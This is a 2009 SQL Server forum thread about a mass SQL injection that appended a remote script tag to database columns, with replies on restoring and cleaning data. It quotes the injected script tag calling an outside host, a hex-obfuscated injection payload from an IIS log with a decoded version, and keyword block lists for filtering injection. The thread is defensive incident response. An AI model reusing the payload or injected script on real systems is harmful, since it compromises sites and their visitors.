September 25, 2009 at 11:21 am
I am a complete newbie so please excuse me if this a simple question.
Our SQL 2005 DB was hacked last night. In many of our tables this was appended to many columns:
<script src=http://www.bannerdriven.ru/ads.js></script><script src=http://www.bannerdriven.ru/ads.js></script>
We have good backups. What is the best way to restore?
Thank you in advance.
Norbert
September 28, 2009 at 4:39 am
Have the same problem and wold also like some info and quick solution on it.
Regards,
Matt
September 28, 2009 at 6:26 am
norbertackerman (9/25/2009)
I am a complete newbie so please excuse me if this a simple question.Our SQL 2005 DB was hacked last night. In many of our tables this was appended to many columns:
<script src=http://www.bannerdriven.ru/ads.js></script><script src=http://www.bannerdriven.ru/ads.js></script>
We have good backups. What is the best way to restore?
Thank you in advance.
Norbert
Depends on your backup strategy that is in place. Do you know when the change was made. in simplistic terms, restore using the last backup before the change was made.
I would be more concerned with finding out how it was hacked and making sure that your databases and server are secure and locked down before doing any restores. Look at the auditing that you have in place and make sure that your logins and backups havent been compromised and you can validate all logins that have occurred recently. It might be a good idea to review your security practises and possibly change the passwords for any logins that might have been compromised.
It sounds like it is sql injection, you are running front end web applications I take it. I would take a hard look at the application and filter the data that is going into sql server.
--------------------------------------------------------------------------------------
[highlight]Recommended Articles on How to help us help you and[/highlight]
[highlight]solve commonly asked questions[/highlight]
Forum Etiquette: How to post data/code on a forum to get the best help by Jeff Moden[/url]
Managing Transaction Logs by Gail Shaw[/url]
How to post Performance problems by Gail Shaw[/url]
Help, my database is corrupt. Now what? by Gail Shaw[/url]
September 28, 2009 at 6:55 am
My own content is very dynamic and changes all the time, I will be writing a script to clean up the database.
Regarding the method of the attack SQL injection is not possible in my case. Are there any other possible methods for getting in and doing this to a database?
September 28, 2009 at 7:21 am
this is definitely a sql injection/xss attack.
September 28, 2009 at 7:30 am
I may be way off base here, but it looks to me like some sort of ad bot automatically posting responses/comments to a blog or something similar, and it's turned into an injection attack by either accident or design.
Injection only has one of two aims - steal data or break your system, and in this case it's damaged your system but not completely broken it, so it seems a bit pointless!
Regards,
S Armondi
September 28, 2009 at 7:57 am
You could restore, or you could also issue an update to remove this data.
Update mytable
set mycol = replace( '<script src=http://www.bannerdriven.ru/ads.js></script>', '')
You definitely want to examine the code where this was allowed in and rework it to prevent this type of SQL Injection.
September 29, 2009 at 3:42 am
you Can use thos SP to Replace all of YOUR Infected records :
1- Create SP
set ANSI_NULLS ON
set QUOTED_IDENTIFIER ON
go
ALTER PROC [dbo].[SearchReplaceAllTables]
(
@SearchStr nvarchar(100)
)
AS
BEGIN
-- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
-- Purpose: To search all columns of all tables for a given search string
-- Written by: Narayana Vyas Kondreddi
-- Site: http://vyaskn.tripod.com
-- Tested on: SQL Server 7.0 and SQL Server 2000
-- Date modified: 28th July 2002 22:50 GMT
-- This is Code modified by Mahmoud Mahran to update all Records contains search word
-- 29 Sep 2009
CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))
SET NOCOUNT ON
DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110)
DECLARE @SpaceVal nvarchar(1)
SET @SpaceVal = ''
SET @TableName = ''
SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
WHILE @TableName IS NOT NULL
BEGIN
SET @ColumnName = ''
SET @TableName =
(
SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE'
ANDQUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
ANDOBJECTPROPERTY(
OBJECT_ID(
QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
), 'IsMSShipped'
) = 0
)
WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
BEGIN
SET @ColumnName =
(
SELECT MIN(QUOTENAME(COLUMN_NAME))
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA= PARSENAME(@TableName, 2)
ANDTABLE_NAME= PARSENAME(@TableName, 1)
ANDDATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')
ANDQUOTENAME(COLUMN_NAME) > @ColumnName
)
IF @ColumnName IS NOT NULL
BEGIN
INSERT INTO #Results
/*EXEC
(
'SELECT ''' + @TableName + '.' + @ColumnName + ''', LEFT(' + @ColumnName + ', 3630)
FROM ' + @TableName + ' (NOLOCK) ' +
' WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
)
*/
EXEC
(
' Update ' + @TableName + '
Set' + @ColumnName + ' = replace(' + @ColumnName + ',''' + @SearchStr + ''',''' + @SpaceVal + ''')'
)
END
END
END
SELECT ColumnName, ColumnValue FROM #Results
END
2- Call iT
USE [Aradosite]
GO
DECLARE@return_value int
EXEC@return_value = [dbo].[SearchReplaceAllTables]
@SearchStr = N'<script src=http://www.bannerdriven.ru/ads.js></script>'
SELECT'Return Value' = @return_value
GO
September 29, 2009 at 4:57 am
We had the same problem 25 September. I found sql-injection in IIS log:
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C41524520405420564152434841522832353529220.............%20AS%20VARCHAR(4000));EXEC(@S)
I converted this text from HEX-format. LOOK:
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=LEFT(CONVERT(VARCHAR(4000),['+@C+']),PATINDEX(''%<scr%'',CONVERT(VARCHAR(4000),['+@C+']))-1) WHERE PATINDEX(''%<scr%'',CONVERT(VARCHAR(4000),['+@C+']))>0') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
The attack was from 41.196.146.57
Information about this IP:
Hostname: host-41-196-146-57.static.link.com.eg
ISP: Link Egypt
Organization: Link Egypt
Proxy: None detected
Type: Unknown
Geo-Location Information
Country: Egypt
State/Region: 11
City: Cairo
Latitude: 30.05
Longitude: 31.25
This IP listed in many blacklists (for ex. dnsbl-3.uceprotect.net, cbl.abuseat.org )
September 29, 2009 at 5:55 am
I got Same Attack at same date "25/9/2009"
September 29, 2009 at 6:48 am
I found the attacker in the log with same script but with different IP and from Chile
September 29, 2009 at 8:58 am
You need to put a filter in place IMMEDIATELY to reject any query that has the following in it. Note this is NOT a bullet-proof mechanism or list, but it will help a lot! Either mechanism will work. Credit for this comes from a presentation by Plamen Ratchev
.NET Code:
#region GOOD WITH CHECK BLACK LIST
public static string[] blackList = {"--",";--",";","/*","*/","@@","@",
"char","nchar","varchar","nvarchar",
"alter","begin","cast","create","cursor",
"declare","delete","drop","end","exec","execute",
"fetch","insert","kill","open",
"select", "sys","sysobjects","syscolumns",
"table","update"};
private bool CheckInput(string SearchText)
{
for (int i = 0; i < blackList.Length; i++)
{
if ((SearchText.IndexOf(blackList, StringComparison.OrdinalIgnoreCase) >= 0))
{
HttpContext.Current.Response.Redirect("~/Error.aspx");
return false;
}
}
return true;
}
TSQL Code:
IF UPPER(@SearchText) LIKE UPPER(N'%0x%')
OR UPPER(@SearchText) LIKE UPPER(N'%;%')
OR UPPER(@SearchText) LIKE UPPER(N'%''%')
OR UPPER(@SearchText) LIKE UPPER(N'%--%')
OR UPPER(@SearchText) LIKE UPPER(N'%/*%*/%')
OR UPPER(@SearchText) LIKE UPPER(N'%EXEC %')
OR UPPER(@SearchText) LIKE UPPER(N'%xp[_]%')
OR UPPER(@SearchText) LIKE UPPER(N'%sp[_]%')
OR UPPER(@SearchText) LIKE UPPER(N'%SELECT %')
OR UPPER(@SearchText) LIKE UPPER(N'%INSERT %')
OR UPPER(@SearchText) LIKE UPPER(N'%UPDATE %')
OR UPPER(@SearchText) LIKE UPPER(N'%DELETE %')
OR UPPER(@SearchText) LIKE UPPER(N'%TRUNCATE %')
OR UPPER(@SearchText) LIKE UPPER(N'%CREATE %')
OR UPPER(@SearchText) LIKE UPPER(N'%ALTER %')
OR UPPER(@SearchText) LIKE UPPER(N'%DROP %')
-- add other possible strings used in SQL Injection here
BEGIN
RAISERROR('Possible SQL Injection attempt.', 16, 1);
RETURN;
END
Best,
Kevin G. Boles
SQL Server Consultant
SQL MVP 2007-2012
TheSQLGuru on googles mail service
September 29, 2009 at 10:48 am
Thank you everyone for the suggestions.
For now, we completely restored the db. We are currently reviewing the cause.
September 30, 2009 at 8:45 am
Please Give me some info about the cause of this problem,Im trying to find the same specially after find more than 12000 website have been infected by same Injection/virus ? over Google Search.
thanks for Help
September 30, 2009 at 8:53 am
The cause of this problem is people with nothing better to do than deface others' property.
It's a SQL Injection issue. You need to make sure you are not allowing SQL Injection in your code. Read: http://www.sqlservercentral.com/articles/Security/updatedsqlinjection/2065/
Viewing 15 posts - 1 through 15 (of 19 total)
You must be logged in to reply to this topic. Login to reply